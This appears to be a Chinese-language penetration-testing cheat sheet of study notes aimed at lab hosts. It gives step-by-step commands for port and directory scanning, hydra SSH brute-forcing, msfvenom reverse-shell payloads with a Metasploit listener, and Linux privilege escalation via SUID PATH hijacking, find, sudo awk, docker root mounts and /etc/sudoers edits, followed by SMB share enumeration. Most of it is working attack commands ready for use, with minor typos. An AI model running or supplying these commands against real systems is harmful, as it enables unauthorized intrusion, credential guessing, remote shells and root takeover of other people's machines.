- List item
网站渗透
信息收集
namp 端口扫描
语法:
扫描单个目标:
nmap -sS -A -T4 192.168.71.180
扫描多个目标:
nmap -sS -A -T4 192.168.71.0/24
参数:
-sS:指定nmap使用的扫描技术(TCP SYN扫描);半开放扫描,因为他不打开一个完全的TCP连接,相对比较低调,不易被发现。
-A:激烈扫描模式;启用额外的高级和高强度选项,使能系统探测、版本检测、脚本扫描、路由追踪
-T4:时间模板,越大速度越快;有0-5六个模板,建议使用-T4模板
常用参数:
-p:指定端口进行扫描
--exclude-ports:排除端口进行扫描
-v:增加输出的详细程度
-V:打印nmap版本号
whatweb 指纹识别
语法:
扫描单个目标:
whatweb 192.168.71.180
扫描多个目标:
whatweb 192.168.71.0/24
外部倒入多个目标:
whatweb --input-file=/root/桌面/1.txt
whatweb -i '/root/桌面/123.txt'
常用参数:
--input-file:导入多个目标
-i:导入多个目标
--version:查看版本信息
dirb 目录扫描
语法:
指定字典:
dirb http://192.168.71.180/ /usr/share/dirb/wordlists/big.txt
指定扩展名:
dirb http://192.168.71.180/ /usr/share/dirb/wordlists/big.txt -X .php
常用参数:
-X:指定文件类型
字典生成
cewl 字典生成工具
语法:
cewl <url> [options]
eg:
cewl http:192.168.180:8081 -c -w password.txt
参数:
-c:显示发现的每个单词的数量
-w:保存查询结果到指定文件中
常用参数:
-m:指定字符的最小长度,默认为3
-d:爬行深度,默认是2
--with-numbers:允许字符中有数字存在
暴力破解
hydra
语法:
hydra <参数> <IP地址> <服务名>
hydra -l togie -P /usr/share/wordlists/dirb/big.txt -t 64 -e ns -vV -s 22 192.168.71.26 ssh
参数:
-l:指定用户名
-P:指定密码字典
-t:指定线程数(1-64),默认是16
-e:可选选项,n:空密码试探,s:使用指定用户和密码试探
-vV:显示详细过程,v:显示报错的信息,V:显示正在尝试的信息
-s:指定使用协议的非默认端口
常用参数:
-L:指定用户名字典
-R:继续从上一次进度接着破解
Payload上传
msfvenom
通过msfvenom可以生成payload,如果生成的payload在目标机上执行,那么可以通过msfconsole的监听功能(/exploit/multi/handler)进行监听
1.通过msfvenom生成payload
使用msfvenom生成多种类型的payload
语法:
msfvenom -p 有效载荷 lhost=监听机的ip lport=监听的端口(默认为4444) -f 输出格式 > 输出文件
1.PHP
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.71.167 lport=4443 -f raw > payload.php
2.Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.71.167 lport=444 -f elf > payload.elf
注意:有效载荷分为正向和反向,reverse_tcp是反向代理,在内网渗透的时候会用在内网服务器中开启正向代理,需要将reverse_tcp修改为bind_tcp.
2.通过msfconsole下的监听模块
1.启动msf
msfconsole
2.使用监听模块
use exploit/multi/handler
3.配置该模块的选项
show options
set payload php/meterpreter/reverse_tcp (上传什么类型的语言,就要使切换对应的payload)
set lhost 192.168.71.180
4.启动监听模块
run
5.监听成功会载入msf中的meterpreter脚本,启动shell
shell
6.使用python启动一个交互式的shell
python -c "import pty; pty.spawn('/bin/bash')"
提权
SUID提权
suid是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。
1.查看系统中suid的程序:
find / -type f -perm -u=s 2>/dev/null
2.如果存在管理员自己定义的 具有suid的可执行程序,并且在此可执行程序中调用了其他的命令,那么这个时候就可以通过定义一个同名的命令,并且将此命令配置到环境变量$path中,此时在环境变量中自己定义的命令就会被优先执行
---假设root自己定义了一个netscan程序,并且在此程序中调用了netstat命令---
1.进入一个指定目录
cd /tmp
2.创建一个名字为netstat的文件,内容是/bin/sh(在被执行时 会创建一个shell)
echo "/bin/sh" > netstat
3.给文件赋执行权限
chmod 777 netstat
4.将此可执行文件写入环境变量中
export PATH=/tmp:$PATH
5.执行具有suid的netscan命令
/usr/bin/netscan
总结:通过修改环境变量,将具有suid的可执行程序在执行内部代码时,优先调用自己创建的脚本,此脚本的功能就是开启一个shell,这个shell就会具有root权限!!!
---假设/usr/bin/find也在suid中,就可以利用find的功能来启动一个具有root权限的shell---
1.使用find命令的-exec承接功能启动一个shell
find test.txt -exec /bin/bash -p \; -quite
参数:
-p:
-quite:找到符合条件的文件后立即退出
SUDO提权
sudo命令允许非管理员用户临时使用管理员的身份来执行命令;可以通过查看/etc/sudoers文件来查看具有sudo权限的用户
- 查看当前用户是否具有sudo权限
sudo -l
- 编辑/etc/sudoers文件,将当前用户添加进去(管理员身份)
1.添加写权限
chomod u+w /etc/sudoers
2.编辑/etc/sudoers文件
vim /etc/sudoers
3.将指定的用户添加进去;userName是要添加的用户,第一个ALL表示任何的主机都可以执行,第二个ALL组,第三个ALL是组内的用户(如果ALL:ALL简写成ALL那么就代表userName组内的任何成员),第四个ALL代表可以执行任何命令
userName ALL=(ALL:ALL) ALL
userName ALL=(ALL) ALL
4.减少写权限
chmod u-w /etc/sudoers
AWK提权
awk提权是基于sudo来利用的;如果此用户开启了sudo权限,且包含awk,此时可以使用sudo命令 用awk开启一个shell(此shell就具有root权限)
- 查看当前用户具有的sudo权限
sudo -l
如图就代表 使用sudo命令时,wak具有root权限
2.通过awk命令启动一个具有root权限的shell
sudo awk '{system("/bin/bash")}'
Docker提权
当系统管理员创建一个docker容器后,容器内默认的是docker中的root账户;被系统管理员添加到docker用户组中的账户可以进入到docker中,并且以docker中的root身份来执行命令
当普通用户属于docker组,在使用docker创建一个容器时 可以通过-v参数将本地主机中的目录映射到docker容器中,以实现docker中的数据可以保存到本地;利用此参数可以将进行提权
1.查看用户是否在docker组
1、查看用户的id信息
id
2、查看用户所属组
groups
2.借助docker镜像创建一个容器,并且将系统的根目录挂载到容器中
将系统的根目录映射到docker容器中的/mnt下
docker run -v /:/mnt -it alpine
3.在docker中 使用过chroot命令 改变程序执行时所参考的根目录到 挂载目录下
更改容器的根目录为映射进来的系统的根目录;此时在容器中,就能用docker容器中默认的root身份操作系统的根目录
chroot /mnt
其它漏洞
SMB漏洞
Samba:是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。
SMB:(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
enum4linux
用于枚举来自Windows和Samba系统的信息的工具
语法:
enum4linux 192.169.71.180
smbmap
举整个域中的samba共享驱动器
语法:
smbmap -H 192.168.71.180
参数:
-H:共享主机的ip
smbclient
smbclient命令属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源。
语法:
当主机允许默认访问时:
smbclient //192.168.71.180/share$
当主机允许默认访问,但是隐藏共享磁盘时
smbclient //192.168.71.206/maxiaofei -U maxiaofei
当主机指定用户进行访问时,需要知道用户名和密码
smbclient //192.168.71.180/share$ -U 用户名%密码